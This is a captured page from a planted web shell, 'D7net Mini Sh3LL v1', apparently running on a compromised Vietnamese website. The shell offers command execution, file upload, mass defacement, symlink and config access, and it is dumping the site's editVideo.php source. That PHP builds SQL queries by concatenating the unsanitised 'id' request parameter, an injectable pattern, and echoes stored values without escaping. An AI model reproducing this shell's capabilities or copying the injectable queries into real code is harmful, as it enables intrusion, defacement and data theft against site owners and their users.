D7net Mini Sh3LL v1

 
ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  C:/Domains/maymaytinson.com/httpdocs/filebrowser/../upload/../upload/../include/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : C:/Domains/maymaytinson.com/httpdocs/filebrowser/../upload/../upload/../include/editVideo.php
<br><h3>Thông tin video</h3>
<br>
<div id="editProduct">
	<?php
	if(isset($_GET['id'])){
		$stmt=$conn->prepare("SELECT * FROM video WHERE id='".$_GET['id']."'");
		$stmt->execute();
		$video=$stmt->fetch(PDO::FETCH_ASSOC);
		$startLink=strrpos($video['link'],"=");
		$link=substr($video['link'],$startLink+1);
	}	
	?>
	<form method="POST" enctype="multipart/form-data">
	<table align="center">
		<tr>
			<td colspan="2"><iframe width="720px" height="360px" src="https://www.youtube.com/embed/<?php echo $link ?>" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></td>
		</tr>
		<tr>
			<td>Tiêu đề</td>
			<td><input type="text" name="title" value="<?php if(isset($_GET['id'])){ echo $video['title']; }?>"></td>
			<td>Đường dẫn</td>
			<td><input type="text" name="link" value="<?php if(isset($_GET['id'])){ echo $video['link']; }?>"></td>
		</tr>
		<tr>
			<td><button type="submit" name="save">Lưu lại</button></td>
		</tr>
	</table>
	</form>
	<?php
if(isset($_POST['save'])){
	if(empty($_POST['title'])){
		$errors[]="Vui lòng nhập tiêu đề";
	}if(empty($_POST['link'])){
		$errors[]="Vui lòng nhập đường dẫn";
	}if(empty($errors)){
		$stmt=$conn->prepare("UPDATE video SET title=:title,link=:link WHERE id='".$_GET['id']."'");
		$stmt->bindParam(":title",$_POST['title'],PDO::PARAM_STR);
		$stmt->bindParam(":link",$_POST['link'],PDO::PARAM_STR);
		$stmt->execute();
		success("Cập nhật",$url);
	}else{
		notice($errors);
	}
}
	?>
</div>

AnonSec - 2021 | Recode By D7net